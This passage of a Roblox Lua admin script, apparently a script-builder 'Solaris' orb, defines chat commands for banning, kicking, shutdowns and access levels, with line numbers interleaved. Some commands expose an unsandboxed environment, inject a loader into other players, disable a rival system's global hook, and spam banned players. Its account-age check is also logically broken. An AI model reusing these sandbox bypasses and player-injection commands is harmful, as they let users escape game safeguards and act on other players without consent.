		print_to(Player,"Got Banned")
851
		print_to(Player,"--------------------------------")
852
		for i,v in pairs(Solaris.Banned)do
853
			print_to(Player,"["..tostring(i).."]: "..tostring(v))
854
			print_to(Player,"--------------------------------")
855
		end
856
	end)
857
858
	AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
859
	    local Split = GetSplit(Message)
860
	    local Plrs  = Collect_Players(Message:sub(1,Split-1),Player)
861
	    local Command = Message:sub(Split+1)
862
	    if #Plrs>0 then
863
	        for index,data in pairs(Plrs)do
864
	            Sbexe(Command,data)--afk
865
	        end
866
	    end
867
	end)
868
869
	AddCommand('Loader','injl','Injects Solaris loader to a player',3,function(Message, Collect_Players, Player)
870
		local Plrs = Collect_Players(Message,Player)
871
		if #Plrs > 0 then
872
			for i,v in pairs(Plrs)do
873
				print_to(v,"[Solaris]: has issued a loader to you")
874
				InjectLoader(v)
875
			end
876
		end
877
	end)
878
879
	AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
880
		ChangeTheme(Player,Message)
881
	end)
882
883
	AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
884
		if #Message>0 then
885
			local Plrs = Collect_Players(Message,Player)
886
			if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
887
			for index,data in pairs(Plrs)do
888
				Follow(true,data.Name)
889
			end
890
		else
891
			Follow(true,Player.Name)
892
		end
893
	end)
894
895
	AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
896
		Follow(false,"")
897
	end)
898
899
	AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
900
		for i,v in pairs(game:GetService('Players'):children())do
901
			v:Kick('This server has shutdown')
902
		end
903
	end)
904
905
	AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
906
		local Split = GetSplit(Message)
907
		local Plrs  = Collect_Players(Message:sub(1,Split-1),Player)
908
		local Level = tonumber(Message:sub(Split+1))
909
		if #Plrs>0 then
910
			for index,data in pairs(Plrs)do
911
				if Level > Solaris.Admins[data.Name].Level and Solaris.Admins[data.Name].Level >= Solaris.Admins[Player.Name].Level then
912
					print_to(data,"[Error]: You cant set your level higher then your own")
913
				else
914
					print("[Solaris]: Has set "..data.Name.."'s Access level to ["..Level.."]")
915
                    Solaris.Admins[data.Name].Level = tonumber(Level)
916
				end
917
			end
918
		end
919
	end)
920
921
	AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
922
		local newEnv = getfenv(1)
923
		newEnv.script = nil
924
		newEnv.warn = print
925
		newEnv.print = print
926
		newEnv.print_to = print_to
927
		newEnv.broadcast = broadcast
928
		rawset(_G,"Bypass",function()
929
			return newEnv
930
		end)
931
		broadcast('[Solaris]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
932
	end)
933
934
	AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
935
		if #Message>0 then
936
			if Message:lower() == 'true' then
937
				if Solaris.Blocker.LocalBlock == true and Solaris.Blocker.LocalBlock == true then
938
					print_to(Player,"[Solaris]: Scripting is already locked")
939
				else
940
					Solaris.Blocker.LocalBlock = true
941
					Solaris.Blocker.GlobalBlock = true
942
					print('[Solairs]: Is locking Scripting')
943
				end
944
			elseif Message:lower()=='false' then
945
				if Solaris.Blocker.LocalBlock == false and Solaris.Blocker.LocalBlock == false then
946
					print_to(Player,"[Solaris]: Scripting is already unlocked")
947
				else
948
					Solaris.Blocker.LocalBlock = false
949
					Solaris.Blocker.GlobalBlock = false
950
					print('[Solairs]: Is unlocking Scripting')
951
				end
952
			end
953
		end
954
	end)
955
956
	AddCommand('Clear Cache','ccl','Clears log cache of a secret thing',5,function(Message, Collect_Players, Player)
957
		local y,n = pcall(function()
958
			print('[Solairs]: Has Cleared => HTTP CACHE')
959
			for i,v in pairs(rbxdb:GetAllData())do
960
			    rbxdb:DeleteValue(i)
961
			end
962
		end)
963
		if not y then print("[ERROR]: "..n)end
964
	end)
965
966
	AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
967
		if #Message>0 then
968
			if Message:lower() == 'true'then
969
				ChangeTheme(Player,'hidden')
970
			elseif Message:lower()== 'false' then
971
				ChangeTheme(Player,'normal')
972
			end
973
		end
974
	end)
975
976
	AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
977
		GetSavedScripts(Player)
978
	end)
979
980
	AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
981
		local Data = rbxdb:GetAllData()
982
		if type(Data)=='table'then
983
			for i,v in pairs(Data)do wait(.1)
984
				print_to(Player,tostring(i)..":"..tostring(v))
985
			end
986
		end
987
	end)
988
989
	AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
990
		GiveServerConsole(Player)
991
	end)
992
993
	AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
994
		GetGarbage(Player)
995
	end)
996
997
	AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
998
		if #Message > 0 then
999
			SafeExe(Message,Player)
1000
		end
1001
	end)
1002
1003
	AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
1004
		Solaris.__STATUS = not Solaris.__STATUS
1005
		if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
1006
			SpawnOrb()
1007
		end
1008
	end)
1009
1010
	print("[Solaris]: Has finished booting commands")
1011
end local BootCommands = API.BootCommands
1012
1013
function API.Connect(plr)
1014
	if type(plr)~='userdata'then return end
1015
1016
	local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious"}
1017
	if plr.AccountAge/365 < .5 then
1018
		for i,v in pairs(Allowed_YoungPlrs)do
1019
			if not plr.Name == v then
1020
				plr:Kick("[Solaris]: Sorry your AccountAge is to young to join this game")
1021
			end
1022
		end
1023
	end
1024
1025
	if Solaris.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(Solaris.Banned[plr.Name]) end
1026
1027
	if not Solaris.Admins[plr.Name]then
1028
		print_to(plr,"[Solaris]: Has identifyed you as a ["..Solaris.Levels[1].."]")
1029
		print("[Solaris]: connect "..plr.Name.." as a ["..Solaris.Levels[1].."]")
1030
		Solaris.Admins[plr.Name] = {Level=1}
1031
	elseif Solaris.Admins[plr.Name]then
1032
		print_to(plr,"[Solaris]: Has identified you as a ["..Solaris.Levels[Solaris.Admins[plr.Name].Level].."]")
1033
	end
1034
	ConnectLogger(plr)
1035
	plr.Chatted:connect(function(msg)
1036
		Chatted(plr,msg)
1037
	end)
1038
end local Connect = API.Connect
1039
1040
--// Bootstrapper functions
1041
1042
function Bootstrap:Boot()
1043
	local DeploymentID = Generate(math.random(1,50)*2/3)
1044
	--// Bootup
1045
	broadcast("[Solaris]: Has started booting up")
1046
	SpawnOrb()
1047
	Rotate()
1048
	BootCommands()
1049
	for i,v in pairs(game:GetService('Players'):children())do
1050
		Connect(v)
1051
	end
1052
1053
	game:GetService('Players').PlayerAdded:connect(function(plr)
1054
		wait(.5)
1055
		Connect(plr)
1056
	end)
1057
1058
	game.Workspace.DescendantAdded:connect(function(obj)
1059
		if obj.ClassName == "Script" then
1060
			if Solaris.Blocker.GlobalBlock == true then
1061
				obj.Disabled = true
1062
				obj:Destroy()
1063
			end
1064
		elseif obj.ClassName == "LocalScript" then
1065
			if Solaris.Blocker.LocalBlock == true then
1066
				obj.Disabled = true
1067
				obj:Destroy()
1068
			end
1069
		end
1070
	end)
1071
	--game.DescendantAdded:connect(function(instance)
1072
		--if Solaris.Blocker.LagBlocker== true then
1073
			--if Solaris.LagBlockedInstances[instance.ClassName]then
1074
				--instance:Destroy()
1075
			--end
1076
		--end
1077
	--end)
1078
1079
1080
	game.itemChanged:connect(function()
1081
		spawn(function()
1082
			local osc=_G.OSC_AddServerSideData;
1083
			_G.OSC_AddServerSideData=nil;--< rekt osc
1084
		end);
1085
	end);
1086
1087
1088
	print("[Solaris]: Has booted successfully")
1089
	broadcast("[Solaris]: Has deployed with ID: "..DeploymentID.."")
1090
	rbxdb:SetValue("[SOLARIS DEPLOYMENT]",DeploymentID)
1091
end
1092
1093
if script.ClassName == 'Script'then
1094
	if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
1095
		local y,n = pcall(function()
1096
		    Solaris.API.Bootstrap:Boot()
1097
		end)if not y then print('{ERROR}: '..n)end
1098
	end
1099
elseif script.ClassName == 'ModuleScript'then
1100
	return function(deploymentKey)
1101
		local Key = Solaris.AccessKey
1102
	    if deploymentKey == Key then
1103
	        return Solaris.API.Bootstrap
1104
	    else
1105
			return error('INVALID DEPLOYMENT ACCESS KEY!')
1106
	    end
1107
	end
1108
end